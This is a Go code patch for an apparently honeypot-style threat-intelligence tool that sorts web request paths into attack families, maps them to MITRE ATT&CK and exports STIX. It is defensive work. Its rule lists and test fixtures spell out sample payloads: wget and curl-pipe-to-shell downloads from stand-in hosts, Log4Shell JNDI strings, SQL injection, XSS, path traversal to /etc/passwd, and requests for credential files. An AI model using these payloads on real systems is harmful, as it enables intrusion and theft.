paths = []string{"/", "/a" + letters(i), "/b" + letters(i), "/c" + letters(i), "/d" + letters(i)}
case "pool": // random-ish 5-subsets of a 40-path pool
for k := 0; k < 5; k++ {
paths = append(paths, "/p"+letters((i*7+k*k*13+k*i)%40))
}
default: // same signature
paths = []string{"/.env", "/admin", "/wp-login.php", "/.git/config", "/x"}
}
sigs[id] = SignatureFrom(paths, "nuclei")
}
return ss, sigs
}
func TestCampaignsScale(t *testing.T) {
for _, mode := range []string{"same", "distinct", "pool"} {
ss, sigs := synthSessions(50000, mode)
start := time.Now()
cs := Campaigns(ss, sigs, 0)
el := time.Since(start)
t.Logf("%s: 50000 sessions -> %d campaigns in %v", mode, len(cs), el)
if el > 8*time.Second {
t.Errorf("%s too slow: %v", mode, el)
}
if mode == "distinct" && len(cs) != 0 {
t.Errorf("distinct sessions must not cluster: %d", len(cs))
}
if mode == "same" && len(cs) == 0 {
t.Error("same signature must form campaigns")
}
}
}
func TestCampaignsCtxPartial(t *testing.T) {
ss, sigs := synthSessions(5000, "same")
ctx, cancel := context.WithCancel(context.Background())
cancel()
if cs := CampaignsCtx(ctx, ss, sigs, 0); len(cs) != 0 {
t.Errorf("cancelled before start should give nothing, got %d", len(cs))
}
ctx2, cancel2 := context.WithTimeout(context.Background(), time.Nanosecond)
defer cancel2()
time.Sleep(time.Millisecond)
CampaignsCtx(ctx2, ss, sigs, 0) // must return, partial
}
func TestJaccardNoAlloc(t *testing.T) {
a := []string{"/a", "/b", "/c", "/d", "/e"}
b := []string{"/a", "/b", "/c", "/d", "/f"}
if n := testing.AllocsPerRun(100, func() { Jaccard(a, b) }); n != 0 {
t.Errorf("allocs: %v", n)
}
if j := Jaccard(a, b); j < 0.666 || j > 0.667 {
t.Errorf("%v", j)
}
if Jaccard([]string{"a", "a"}, []string{"a"}) != 1 {
t.Error("duplicates")
}
big := strings.Split("a b c d e f g h i j", " ")
if Jaccard(big, big[:5]) != 0.5 {
t.Error("map path")
}
}
func TestSTIXPrefix(t *testing.T) {
now := time.Date(2026, 11, 14, 0, 0, 0, 0, time.UTC)
for _, in := range []string{"2001:db8::/64", "2001:db8::1234/64"} {
b, err := STIXBundle(in, at(0), at(10), 3, []string{"sqli"}, nil, "", now)
if err != nil || ValidateSTIX(b) != nil {
t.Fatalf("%s: %v", in, err)
}
if !strings.Contains(string(b), "[ipv6-addr:value = '2001:db8::/64']") {
t.Errorf("%s: %s", in, b)
}
}
p4, err := STIXBundlePrefix(netip.MustParsePrefix("203.0.113.77/24"), at(0), at(1), 1, nil, nil, "", now)
if err != nil || !strings.Contains(string(p4), "[ipv4-addr:value = '203.0.113.0/24']") {
t.Errorf("%v %s", err, p4)
}
one, _ := STIXBundlePrefix(netip.MustParsePrefix("1.2.3.4/32"), at(0), at(1), 1, nil, nil, "", now)
if !strings.Contains(string(one), "[ipv4-addr:value = '1.2.3.4']") {
t.Error("/32 is an address")
}
if _, err := STIXBundlePrefix(netip.Prefix{}, at(0), at(1), 1, nil, nil, "", now); err == nil {
t.Error("invalid prefix")
}
for _, bad := range []string{"1.2.3.4/99", "x/24", "/", "1.2.3.4/"} {
if _, err := STIXBundle(bad, at(0), at(1), 1, nil, nil, "", now); err == nil {
t.Errorf("accepted %q", bad)
}
}
}
func BenchmarkCampaigns50k(b *testing.B) {
ss, sigs := synthSessions(50000, "same")
b.ResetTimer()
for i := 0; i < b.N; i++ {
Campaigns(ss, sigs, 0)
}
}
func BenchmarkJaccard(b *testing.B) {
x := []string{"/a", "/b", "/c", "/d", "/e"}
y := []string{"/a", "/b", "/c", "/d", "/f"}
b.ReportAllocs()
for i := 0; i < b.N; i++ {
Jaccard(x, y)
}
}
+259
View File
@@ -0,0 +1,259 @@
// Package intel holds pure, deterministic intelligence helpers for Urutau:
// attack families, MITRE ATT&CK mapping, network typing, cadence, sessions,
// campaigns, verdicts, STIX export and metrics. Nothing here performs I/O.
package intel
import (
"net/url"
"regexp"
"strings"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
)
// Attack family identifiers.
const (
FamTraversal = "traversal"
FamLog4Shell = "log4shell"
FamSQLi = "sqli"
FamXSS = "xss"
FamRCE = "rce-injection"
FamWebshell = "webshell"
FamEnvCreds = "env-credentials"
FamVCS = "vcs"
FamBackup = "backup"
FamWordPress = "wordpress"
FamPhpMyAdmin = "phpmyadmin-db"
FamActuator = "actuator-debug"
FamIoTCGI = "iot-cgi"
FamAdminPanel = "admin-panel"
FamGeneric404 = "generic-404"
maxPathScan = 8192
maxPathScanTop = maxPathScan / 2
)
var backupExts = []string{".sql", ".bak", ".old", ".orig", ".swp", ".zip", ".tar.gz", ".tgz", ".7z", ".rar", ".tar", ".gz"}
// Plain substring rules, in priority order. Families that need special
// handling (traversal raw check, webshell, vcs, backup) are in matchFamily.
var (
logRules = []string{"${jndi:"}
sqliRules = []string{"union select", "' or ", "sleep(", "benchmark(", "information_schema"}
xssRules = []string{"<script", "javascript:", "onerror="}
rceRules = []string{";wget", "/bin/sh", "/bin/bash", "cmd=", "|sh", "eval(", "php://", "base64_decode", "allow_url_include", "/vendor/phpunit"}
envRules = []string{"/.env", "/.aws", "/.ssh", "id_rsa", "/.git-credentials", "wp-config", "/config.json", "credentials", ".npmrc", ".dockercfg"}
wpRules = []string{"/wp-login.php", "/xmlrpc.php", "/wp-admin", "/wp-content/plugins/", "/wp-includes", "wp-json/wp/v2/users"}
dbRules = []string{"phpmyadmin", "/pma/", "/adminer", "/mysql", "/sql"}
actRules = []string{"/actuator", "/_profiler", "/telescope", "/server-status", "phpinfo", "/debug", "/console"}
iotRules = []string{"/cgi-bin/", "/boaform/", "/hnap1", "/goform", "/shell?cd", "/setup.cgi", "/gponform", "/tmui", "/remote/", "/vpn/", "/owa/", "/ecp/"}
admRules = []string{"/admin", "/login", "/manager/html", "/user/login"}
travRules = []string{"../", `..\`, "..;/", "/etc/passwd", "/proc/self"}
vcsRules = []string{"/.svn", "/.hg", "/.gitconfig"}
shellSubs = []string{"c99", "r57", "up.php", "xmrlpc"}
)
var hexPair = regexp.MustCompile(`%[0-9a-fA-F]{2}`)
func lenientUnescape(s string) string {
return hexPair.ReplaceAllStringFunc(s, func(m string) string {
d, err := url.PathUnescape(m)
if err != nil {
return m
}
return d
})
}
// prep caps, percent-decodes (up to twice, tolerant of bad escapes) and
// lowercases a path. It returns the lowercase raw and decoded forms.
func prep(path string) (raw, dec string) {
if len(path) > maxPathScan {
path = path[:maxPathScanTop] + path[len(path)-maxPathScanTop:]
}
raw = strings.ToLower(path)
dec = raw
for i := 0; i < 2; i++ {
d, err := url.PathUnescape(dec)
if err != nil {
d = lenientUnescape(dec)
}
if d == dec {
break
}
dec = d
}
return raw, dec
}
func firstSub(s string, subs []string) string {
for _, m := range subs {
if strings.Contains(s, m) {
return m
}
}
return ""
}
func isDelim(s string, i int, delims string) bool {
return i >= len(s) || strings.IndexByte(delims, s[i]) >= 0
}
// webshellMarker returns the webshell marker found in dec, or "".
func webshellMarker(dec string) string {
for from := 0; ; {
i := strings.Index(dec[from:], "/shell")
if i < 0 {
break
}
end := from + i + len("/shell")
if isDelim(dec, end, "/._?-") && !strings.HasPrefix(dec[end:], "?cd") {
return "/shell"
}
from += i + 1
}
if m := firstSub(dec, shellSubs); m != "" {
return m
}
for _, name := range []string{"/wso", "/alfa"} {
for from := 0; ; {
i := strings.Index(dec[from:], name)
if i < 0 {
break
}
if isDelim(dec, from+i+len(name), "/.?") {
return name
}
from += i + 1
}
}
if strings.Contains(dec, "/wp-content/uploads/") && strings.Contains(dec, ".php") {
return "/wp-content/uploads/"
}
return ""
}
func vcsMarker(dec string) string {
for from := 0; ; {
i := strings.Index(dec[from:], "/.git")
if i < 0 {
break
}
rest := dec[from+i+5:]
if !strings.HasPrefix(rest, "hub") && !strings.HasPrefix(rest, "lab") {
return "/.git"
}
from += i + 1
}
return firstSub(dec, vcsRules)
}
func backupMarker(dec string) string {
p := dec
if i := strings.IndexAny(p, "?#"); i >= 0 {
p = p[:i]
}
for _, e := range backupExts {
if strings.HasSuffix(p, e) {
return e
}
}
return ""
}
// matchFamily finds the first family matching the (already prepared) path.
func matchFamily(raw, dec string) (fam, marker string) {
if m := firstSub(dec, travRules); m != "" {
return FamTraversal, m
}
if strings.Contains(raw, "%2e%2e") {
return FamTraversal, "%2e%2e"
}
if m := firstSub(dec, logRules); m != "" {
return FamLog4Shell, m
}
sp := dec
if strings.IndexByte(dec, '+') >= 0 {
sp = strings.ReplaceAll(dec, "+", " ")
}
if m := firstSub(sp, sqliRules); m != "" {
return FamSQLi, m
}
if m := firstSub(dec, xssRules); m != "" {
return FamXSS, m
}
if m := firstSub(sp, rceRules); m != "" {
return FamRCE, m
}
if m := webshellMarker(dec); m != "" {
return FamWebshell, m
}
if m := firstSub(dec, envRules); m != "" {
return FamEnvCreds, m
}
if m := vcsMarker(dec); m != "" {
return FamVCS, m
}
if m := backupMarker(dec); m != "" {
return FamBackup, m
}
if m := firstSub(dec, wpRules); m != "" {
return FamWordPress, m
}
if m := firstSub(dec, dbRules); m != "" {
return FamPhpMyAdmin, m
}
if m := firstSub(dec, actRules); m != "" {
return FamActuator, m
}
if m := firstSub(dec, iotRules); m != "" {
return FamIoTCGI, m
}
if m := firstSub(dec, admRules); m != "" {
return FamAdminPanel, m
}
return "", ""
}
var strongFams = map[string]bool{
FamTraversal: true, FamLog4Shell: true, FamSQLi: true, FamXSS: true, FamRCE: true,
FamWebshell: true, FamEnvCreds: true, FamVCS: true,
}
// Family classifies a request path into an attack family ("" for benign).
// Requests the classifier considers plain traffic (core.OK) only keep the
// strong families unless toolUA is set; SSH and ban events have no family.
// status is accepted for symmetry with the classifier and does not alter
// the result. A NotFound request with no other family is "generic-404".
func Family(path string, cat core.Category, status int, toolUA bool) string {
switch cat {
case core.SSHFail, core.SSHProbe, core.SSHOK, core.Ban:
return ""
}
raw, dec := prep(path)
fam, _ := matchFamily(raw, dec)
if fam == "" {
if cat == core.NotFound {
return FamGeneric404
}
return ""
}
if cat == core.OK && !toolUA && !strongFams[fam] {
return ""
}
return fam
}
// Marker returns the fragment of the (decoded, lowercase) path that triggered
// its family, for highlighting in the UI. It is "" when nothing matched.
func Marker(path string) string {
raw, dec := prep(path)
_, m := matchFamily(raw, dec)
return m
}
// PathFamily returns the family of path ignoring category gating ("" if none).
func PathFamily(path string) string {
raw, dec := prep(path)
f, _ := matchFamily(raw, dec)
return f
}
+258
View File
@@ -0,0 +1,258 @@
package intel
import (
"strings"
"testing"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
)
var famCases = []struct{ path, fam, marker string }{
// traversal
{"/../../../../etc/passwd", FamTraversal, "../"},
{"/cgi-bin/..%2f..%2f..%2fetc/passwd", FamTraversal, "../"},
{"/%2e%2e/%2e%2e/etc/passwd", FamTraversal, "../"},
{"/%252e%252e/%252e%252e/boot.ini", FamTraversal, "../"},
{"/static/..;/admin", FamTraversal, "..;/"},
{`/a/..\..\windows\win.ini`, FamTraversal, `..\`},
{"/file?name=/etc/passwd", FamTraversal, "/etc/passwd"},
{"/proc/self/environ", FamTraversal, "/proc/self"},
{"/index.php?page=....//....//etc/passwd", FamTraversal, "../"},
{"/x/%2E%2E", FamTraversal, "%2e%2e"},
{"/download?f=../../config", FamTraversal, "../"},
{"/?file=..%5c..%5cwindows", FamTraversal, `..\`},
// log4shell
{"/?x=${jndi:ldap://1.2.3.4/a}", FamLog4Shell, "${jndi:"},
{"/api/${jndi:dns://x.y}", FamLog4Shell, "${jndi:"},
{"/?q=%24%7Bjndi%3Aldap%3A%2F%2Fevil%2Fa%7D", FamLog4Shell, "${jndi:"},
{"/login?user=${JNDI:rmi://a}", FamLog4Shell, "${jndi:"},
// sqli
{"/item.php?id=1 union select 1,2,3", FamSQLi, "union select"},
{"/item.php?id=1+UNION+SELECT+1,2", FamSQLi, "union select"},
{"/item?id=1' or '1'='1", FamSQLi, "' or "},
{"/item?id=1%27%20or%201=1", FamSQLi, "' or "},
{"/p?id=1;select sleep(5)", FamSQLi, "sleep("},
{"/p?id=benchmark(1000000,md5(1))", FamSQLi, "benchmark("},
{"/p?q=(select * from information_schema.tables)", FamSQLi, "information_schema"},
{"/search?q=1%20UNION%20SELECT%20null", FamSQLi, "union select"},
// xss
{"/search?q=<script>alert(1)</script>", FamXSS, "<script"},
{"/search?q=%3Cscript%3Ealert(1)", FamXSS, "<script"},
{"/r?u=javascript:alert(1)", FamXSS, "javascript:"},
{"/i?x=<img src=x onerror=alert(1)>", FamXSS, "onerror="},
{"/s?q=%253Cscript%253E", FamXSS, "<script"},
// rce
{"/index.php?cmd=ls", FamRCE, "cmd="},
{"/x;wget http://evil/a.sh", FamRCE, ";wget"},
{"/?c=/bin/sh -c id", FamRCE, "/bin/sh"},
{"/?c=/bin/bash", FamRCE, "/bin/bash"},
{"/?a=curl x|sh", FamRCE, "|sh"},
{"/?a=eval(base64_decode('x'))", FamRCE, "eval("},
{"/?file=php://input", FamRCE, "php://"},
{"/?x=base64_decode(abc)", FamRCE, "base64_decode"},
{"/?auto_prepend_file=php://input&allow_url_include=1", FamRCE, "php://"},
{"/index.php?allow_url_include=on", FamRCE, "allow_url_include"},
{"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", FamRCE, "/vendor/phpunit"},
{"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", FamRCE, "/vendor/phpunit"},
// webshell
{"/shell.php", FamWebshell, "/shell"},
{"/shell", FamWebshell, "/shell"},
{"/c99.php", FamWebshell, "c99"},
{"/r57.php", FamWebshell, "r57"},
{"/wso.php", FamWebshell, "/wso"},
{"/alfa.php", FamWebshell, "/alfa"},
{"/up.php", FamWebshell, "up.php"},
{"/wp-content/uploads/2020/01/x.php", FamWebshell, "/wp-content/uploads/"},
{"/xmrlpc.php", FamWebshell, "xmrlpc"},
{"/images/shell/", FamWebshell, "/shell"},
{"/admin/upload/up.php", FamWebshell, "up.php"},
// env-credentials
{"/.env", FamEnvCreds, "/.env"},
{"/.env.production", FamEnvCreds, "/.env"},
{"/app/.env", FamEnvCreds, "/.env"},
{"/.aws/credentials", FamEnvCreds, "/.aws"},
{"/.ssh/id_rsa", FamEnvCreds, "/.ssh"},
{"/backup/id_rsa", FamEnvCreds, "id_rsa"},
{"/.git-credentials", FamEnvCreds, "/.git-credentials"},
{"/wp-config.php", FamEnvCreds, "wp-config"},
{"/wp-config.php.bak", FamEnvCreds, "wp-config"},
{"/config.json", FamEnvCreds, "/config.json"},
{"/aws/credentials", FamEnvCreds, "credentials"},
{"/.npmrc", FamEnvCreds, ".npmrc"},
{"/.dockercfg", FamEnvCreds, ".dockercfg"},
{"/.env.bak", FamEnvCreds, "/.env"},
{"/%2eenv", FamEnvCreds, "/.env"},
// vcs
{"/.git/config", FamVCS, "/.git"},
{"/.git/HEAD", FamVCS, "/.git"},
{"/.svn/entries", FamVCS, "/.svn"},
{"/.hg/store", FamVCS, "/.hg"},
{"/.gitconfig", FamVCS, "/.git"},
{"/site/.git/logs/HEAD", FamVCS, "/.git"},
{"/.git/refs/heads/main", FamVCS, "/.git"},
// backup
{"/backup.sql", FamBackup, ".sql"},
{"/db.sql", FamBackup, ".sql"},
{"/site.zip", FamBackup, ".zip"},
{"/www.tar.gz", FamBackup, ".tar.gz"},
{"/index.php.bak", FamBackup, ".bak"},
{"/index.php.old", FamBackup, ".old"},
{"/index.php.orig", FamBackup, ".orig"},
{"/.index.php.swp", FamBackup, ".swp"},
{"/data.7z", FamBackup, ".7z"},
{"/dump.rar", FamBackup, ".rar"},
{"/x.tgz", FamBackup, ".tgz"},
{"/archive.tar", FamBackup, ".tar"},
{"/archive.gz", FamBackup, ".gz"},
{"/backup.zip?x=1", FamBackup, ".zip"},
// wordpress
{"/wp-login.php", FamWordPress, "/wp-login.php"},
{"/xmlrpc.php", FamWordPress, "/xmlrpc.php"},
{"/wp-admin/", FamWordPress, "/wp-admin"},
{"/wp-admin/admin-ajax.php", FamWordPress, "/wp-admin"},
{"/wp-content/plugins/revslider/x", FamWordPress, "/wp-content/plugins/"},
{"/wp-includes/wlwmanifest.xml", FamWordPress, "/wp-includes"},
{"/blog/wp-includes/js/x.js", FamWordPress, "/wp-includes"},
{"/wp-json/wp/v2/users", FamWordPress, "wp-json/wp/v2/users"},
// phpmyadmin
{"/phpmyadmin/", FamPhpMyAdmin, "phpmyadmin"},
{"/phpMyAdmin/index.php", FamPhpMyAdmin, "phpmyadmin"},
{"/pma/", FamPhpMyAdmin, "/pma/"},
{"/adminer.php", FamPhpMyAdmin, "/adminer"},
{"/mysql/", FamPhpMyAdmin, "/mysql"},
{"/sql/", FamPhpMyAdmin, "/sql"},
{"/db/phpmyadmin/index.php", FamPhpMyAdmin, "phpmyadmin"},
// actuator
{"/actuator/env", FamActuator, "/actuator"},
{"/actuator/health", FamActuator, "/actuator"},
{"/_profiler/phpinfo", FamActuator, "/_profiler"},
{"/telescope/requests", FamActuator, "/telescope"},
{"/server-status", FamActuator, "/server-status"},
{"/phpinfo.php", FamActuator, "phpinfo"},
{"/info.php?phpinfo", FamActuator, "phpinfo"},
{"/debug/default/view", FamActuator, "/debug"},
{"/console", FamActuator, "/console"},
{"/jolokia/../actuator", FamTraversal, "../"},
// iot-cgi
{"/cgi-bin/luci", FamIoTCGI, "/cgi-bin/"},
{"/cgi-bin/test-cgi", FamIoTCGI, "/cgi-bin/"},
{"/boaform/admin/formLogin", FamIoTCGI, "/boaform/"},
{"/HNAP1/", FamIoTCGI, "/hnap1"},
{"/goform/webLogin", FamIoTCGI, "/goform"},
{"/shell?cd /tmp;wget http://x/a", FamRCE, ";wget"},
{"/shell?cd+/tmp", FamIoTCGI, "/shell?cd"},
{"/setup.cgi?next_file=netgear.cfg", FamIoTCGI, "/setup.cgi"},
{"/GponForm/diag_Form?images/", FamIoTCGI, "/gponform"},
{"/tmui/login.jsp", FamIoTCGI, "/tmui"},
{"/remote/login?lang=en", FamIoTCGI, "/remote/"},
{"/vpn/index.html", FamIoTCGI, "/vpn/"},
{"/owa/auth/logon.aspx", FamIoTCGI, "/owa/"},
{"/ecp/Current/exporttool", FamIoTCGI, "/ecp/"},
{"/cgi-bin/../../../../bin/sh", FamTraversal, "../"},
// admin-panel
{"/admin", FamAdminPanel, "/admin"},
{"/admin/login.php", FamAdminPanel, "/admin"},
{"/login", FamAdminPanel, "/login"},
{"/manager/html", FamAdminPanel, "/manager/html"},
{"/user/login", FamAdminPanel, "/login"},
{"/administrator/index.php", FamAdminPanel, "/admin"},
// benign
{"/", "", ""},
{"/index.html", "", ""},
{"/css/app.css", "", ""},
{"/api/v1/items?page=2", "", ""},
{"/.well-known/acme-challenge/abc", "", ""},
{"/.github/workflows/ci.yml", "", ""},
{"/assets/logo.png", "", ""},
{"/blog/2020/post-title", "", ""},
{"/favicon.ico", "", ""},
{"/robots.txt", "", ""},
{"/shellfish/menu", "", ""},
{"/alfa-romeo/models", "", ""},
}
func TestFamilyAndMarker(t *testing.T) {
if len(famCases) < 120 {
t.Fatalf("only %d cases", len(famCases))
}
for _, c := range famCases {
if got := PathFamily(c.path); got != c.fam {
t.Errorf("PathFamily(%q) = %q, want %q", c.path, got, c.fam)
}
if got := Marker(c.path); got != c.marker {
t.Errorf("Marker(%q) = %q, want %q", c.path, got, c.marker)
}
if c.fam != "" {
if got := Family(c.path, core.Scanner, 404, false); got != c.fam {
t.Errorf("Family(%q, scanner) = %q, want %q", c.path, got, c.fam)
}
}
}
}
func TestFamilyCategoryGating(t *testing.T) {
cases := []struct {
path string
cat core.Category
tool bool
want string
}{
{"/page-that-does-not-exist", core.NotFound, false, FamGeneric404},
{"/wp-login.php", core.NotFound, false, FamWordPress},
{"/login", core.OK, false, ""},
{"/login", core.OK, true, FamAdminPanel},
{"/.env", core.OK, false, FamEnvCreds},
{"/index.html", core.OK, false, ""},
{"/index.html", core.Scanner, false, ""},
{"/x", core.SSHFail, false, ""},
{"/.env", core.Ban, false, ""},
{"/.env", core.SSHProbe, false, ""},
}
for _, c := range cases {
if got := Family(c.path, c.cat, 404, c.tool); got != c.want {
t.Errorf("Family(%q,%s,tool=%v)=%q want %q", c.path, c.cat, c.tool, got, c.want)
}
}
}
func TestFamilyHostile(t *testing.T) {
huge := strings.Repeat("A", 5<<20)
inputs := []string{
huge,
huge + "/.env",
"/" + strings.Repeat("%25", 100000) + "2e",
"/" + strings.Repeat("../", 100000),
"/\u0000\xff\xfe" + string([]byte{0xff, 0xfe, 0x00}),
"/日本語/ファイル.php?q=✓",
"/%E0%A4%A",
"/%zz%2",
"%",
"",
"/%252525252e%252525252e/",
strings.Repeat("%", 5000),
"/İİİ/.ENV",
}
for _, in := range inputs {
for _, cat := range core.Categories {
_ = Family(in, cat, 0, true)
}
_ = Marker(in)
}
if got := Family(huge+"/.env", core.Scanner, 404, false); got != FamEnvCreds {
t.Errorf("tail marker lost: %q", got)
}
if got := Family("/%252e%252e%252fetc", core.Scanner, 404, false); got != FamTraversal {
t.Errorf("double encoding: %q", got)
}
if got := PathFamily("/%E0%A4%A/.git/config"); got != FamVCS {
t.Errorf("bad escape tolerance: %q", got)
}
}
func BenchmarkFamily(b *testing.B) {
paths := []string{"/", "/index.html", "/wp-login.php", "/.env", "/a/b/c/d/e?x=1&y=2&z=3", "/cgi-bin/../../etc/passwd"}
b.ReportAllocs()
for i := 0; i < b.N; i++ {
_ = Family(paths[i%len(paths)], core.Scanner, 404, false)
}
}
+718
View File
@@ -0,0 +1,718 @@
package intel
import (
"encoding/json"
"fmt"
"net/netip"
"reflect"
"strings"
"testing"
"time"
)
var t0 = time.Date(2026, 11, 1, 12, 0, 0, 0, time.UTC)
func at(sec int) time.Time { return t0.Add(time.Duration(sec) * time.Second) }
func TestTechniques(t *testing.T) {
cases := []struct {
cat, fam string
ctx TechCtx
want []string
}{
{"exploit", FamTraversal, TechCtx{}, []string{"T1083", "T1190"}},
{"exploit", FamLog4Shell, TechCtx{}, []string{"T1190"}},
{"exploit", FamSQLi, TechCtx{}, []string{"T1190"}},
{"exploit", FamXSS, TechCtx{}, []string{"T1190"}},
{"exploit", FamRCE, TechCtx{}, []string{"T1059.004", "T1190"}},
{"exploit", FamWebshell, TechCtx{}, []string{"T1190", "T1505.003"}},
{"scanner", FamEnvCreds, TechCtx{}, []string{"T1552.001", "T1595"}},
{"scanner", FamVCS, TechCtx{}, []string{"T1213", "T1552.001", "T1595"}},
{"scanner", FamBackup, TechCtx{}, []string{"T1595", "T1595.003"}},
{"notfound", FamGeneric404, TechCtx{}, []string{"T1595.003"}},
{"notfound", FamPhpMyAdmin, TechCtx{}, []string{"T1595.003"}},
{"notfound", FamAdminPanel, TechCtx{}, []string{"T1595.003"}},
{"bruteforce", FamWordPress, TechCtx{Path: "/wp-login.php"}, []string{"T1110.001"}},
{"notfound", FamWordPress, TechCtx{Path: "/xmlrpc.php"}, []string{"T1110.001"}},
{"notfound", FamWordPress, TechCtx{Path: "/wp-json/wp/v2/users"}, []string{"T1087"}},
{"notfound", FamWordPress, TechCtx{Path: "/wp-content/plugins/x/"}, []string{"T1595.002"}},
{"notfound", FamActuator, TechCtx{}, []string{"T1082", "T1595.002"}},
{"notfound", FamIoTCGI, TechCtx{}, []string{"T1190"}},
{"scanner", "", TechCtx{Tool: "Nuclei - Open-source"}, []string{"T1595.002"}},
{"scanner", "", TechCtx{Tool: "gobuster/3.1"}, []string{"T1595.003"}},
{"scanner", "", TechCtx{Tool: "masscan/1.3"}, []string{"T1595.001"}},
{"scanner", "", TechCtx{}, []string{"T1595"}},
{"exploit", "", TechCtx{}, []string{"T1190"}},
{"bruteforce", "", TechCtx{}, []string{"T1110.001"}},
{"ssh-fail", "", TechCtx{Users: 1, MaxPerUser: 40}, []string{"T1110.001"}},
{"ssh-fail", "", TechCtx{Users: 8, MaxPerUser: 2}, []string{"T1110.003"}},
{"ssh-fail", "", TechCtx{Users: 5, MaxPerUser: 4}, []string{"T1110.001"}},
{"ssh-probe", "", TechCtx{}, []string{"T1046", "T1595.001"}},
{"ssh-ok", "", TechCtx{PriorFails: true}, []string{"T1078"}},
{"ssh-ok", "", TechCtx{}, []string{}},
{"ok", "", TechCtx{}, []string{}},
}
for i, c := range cases {
got := Techniques(c.cat, c.fam, c.ctx)
if len(got) == 0 && len(c.want) == 0 {
continue
}
if !reflect.DeepEqual(got, c.want) {
t.Errorf("case %d %s/%s: got %v want %v", i, c.cat, c.fam, got, c.want)
}
}
for _, id := range []string{"T1190", "T1595.003", "T1078", "T1505.003"} {
if TechniqueName(id) == "" {
t.Errorf("no name for %s", id)
}
}
if TechniqueName("T9999") != "" || TechniqueName("T1595.003") != "Wordlist Scanning" {
t.Error("names")
}
}
func TestNetType(t *testing.T) {
cases := []struct {
asn uint32
org, rdns string
typ, wantR string
}{
{9009, "M247", "", "vpn", "asn:9009"},
{212238, "Datacamp", "", "vpn", "asn:212238"},
{0, "", "node-1.vpn.example.net", "vpn", "rdns:vpn"},
{0, "", "tor-exit-12.relay.org", "vpn", "rdns:exit"},
{0, "", "my-proxy.example", "vpn", "rdns:proxy"},
{14061, "DigitalOcean", "", "hosting", "asn:14061"},
{16509, "Amazon", "", "hosting", "asn:16509"},
{15169, "Google", "", "hosting", "asn:15169"},
{8075, "Microsoft", "", "hosting", "asn:8075"},
{24940, "Hetzner", "", "hosting", "asn:24940"},
{16276, "OVH", "", "hosting", "asn:16276"},
{45102, "Alibaba", "", "hosting", "asn:45102"},
{20473, "Vultr", "", "hosting", "asn:20473"},
{213371, "x", "", "hosting", "asn:213371"},
{99999, "Acme Hosting Ltd", "", "hosting", "asorg:hosting"},
{99999, "Contabo GmbH", "", "hosting", "asorg:contabo"},
{99999, "Some Data Center SA", "", "hosting", "asorg:data center"},
{99999, "", "ec2-1-2-3-4.compute-1.amazonaws.com", "hosting", "rdns:ec2"},
{99999, "", "static.1.2.3.4.clients.your-server.de", "hosting", "rdns:static"},
{99999, "", "host5.example.net", "hosting", "rdns:host5"},
{398324, "Censys", "", "research-scanner", "asn:398324"},
{398705, "Censys", "", "research-scanner", "asn:398705"},
{211298, "Driftnet", "", "research-scanner", "asn:211298"},
{63999, "Shadowserver", "", "research-scanner", "asn:63999"},
{396507, "Expanse", "", "research-scanner", "asn:396507"},
{4134, "Chinanet", "", "isp-cn", "asn:4134"},
{4837, "China Unicom", "", "isp-cn", "asn:4837"},
{26615, "Tim", "", "mobile", "asn:26615"},
{28573, "Claro", "", "isp/mobile", "asn:28573"},
{26599, "Vivo", "", "isp/mobile", "asn:26599"},
{18881, "Vivo", "", "isp/mobile", "asn:18881"},
{99999, "Acme Wireless", "", "mobile", "asorg:wireless"},
{99999, "", "100.mobile.example.net", "mobile", "rdns:mobile"},
{99999, "", "lte-1-2.carrier.net", "mobile", "rdns:lte"},
{99999, "", "1-2-3-4.dsl.example.net", "residential", "rdns:1-2-3"},
{99999, "", "dynamic-201-1-2-3.example.com.br", "residential", "rdns:dynamic"},
{99999, "", "pool-1-2-3.fibra.net", "residential", "rdns:pool"},
{99999, "", "c-1-2-3.customer.net", "residential", "rdns:cus"},
{99999, "Brasil Telecom SA", "", "residential", "asorg:telecom"},
{99999, "Fast Broadband", "", "residential", "asorg:broadband"},
{7162, "Universo Online S.A.", "", "residential", "asn:7162"},
{263880, "Wantel Telecom", "", "residential", "asn:263880"},
{7738, "Telemar Norte Leste", "", "residential", "asn:7738"},
{8167, "Brasil Telecom", "", "residential", "asn:8167"},
{16735, "Algar Telecom", "", "residential", "asn:16735"},
{28126, "Brisanet", "", "residential", "asn:28126"},
{99999, "Silva Fibra Ltda", "", "residential", "asorg:isp-br"},
{99999, "Provedor Alfa Ltda", "", "residential", "asorg:isp-br"},
{99999, "Beta Comunicacoes Ltda", "", "residential", "asorg:isp-br"},
{99999, "Gama Tecnologia em Internet Ltda", "", "residential", "asorg:isp-br"},
{99999, "Delta NET Ltda", "", "residential", "asorg:isp-br"},
{99999, "Locaweb Servicos de Internet", "", "hosting", "asorg:locaweb"},
{99999, "UOL Host", "", "hosting", "asorg:host"},
{99999, "Fibra Hospedagem Ltda", "", "hosting", "asorg:hospedagem"},
{99999, "Acme Ltda", "", "unknown", ""},
{99999, "", "", "unknown", ""},
{0, "Quiet University", "mail.uni.edu", "unknown", ""},
}
for _, c := range cases {
typ, r := NetType(c.asn, c.org, c.rdns)
if typ != c.typ {
t.Errorf("NetType(%d,%q,%q) = %q/%q want %q", c.asn, c.org, c.rdns, typ, r, c.typ)
}
if c.typ != "unknown" && !strings.HasPrefix(r, c.wantR[:min(len(c.wantR), 6)]) {
t.Errorf("reason for %d/%q/%q = %q want prefix %q", c.asn, c.org, c.rdns, r, c.wantR)
}
}
// hostile
NetType(0, strings.Repeat("x", 1<<20), strings.Repeat("a-", 1<<20))
NetType(0, "\xff\xfe日本", "\x00")
}
func TestTorExits(t *testing.T) {
ip := netip.MustParseAddr("185.220.101.1")
if typ, _ := NetTypeIP(ip, 0, "", ""); typ != "unknown" {
t.Fatalf("tor must be off by default: %s", typ)
}
SetTorExits([]netip.Addr{ip})
defer SetTorExits(nil)
if typ, r := NetTypeIP(ip, 14061, "DigitalOcean", ""); typ != "tor" || r == "" {
t.Errorf("got %s %s", typ, r)
}
mapped := netip.MustParseAddr("::ffff:185.220.101.1")
if !IsTorExit(mapped) {
t.Error("4in6 should match")
}
if typ, _ := NetTypeIP(netip.MustParseAddr("8.8.8.8"), 15169, "Google", ""); typ != "hosting" {
t.Error("non-exit")
}
}
func TestCadence(t *testing.T) {
mk := func(gaps ...float64) []time.Time {
out := []time.Time{t0}
cur := t0
for _, g := range gaps {
cur = cur.Add(time.Duration(g * float64(time.Second)))
out = append(out, cur)
}
return out
}
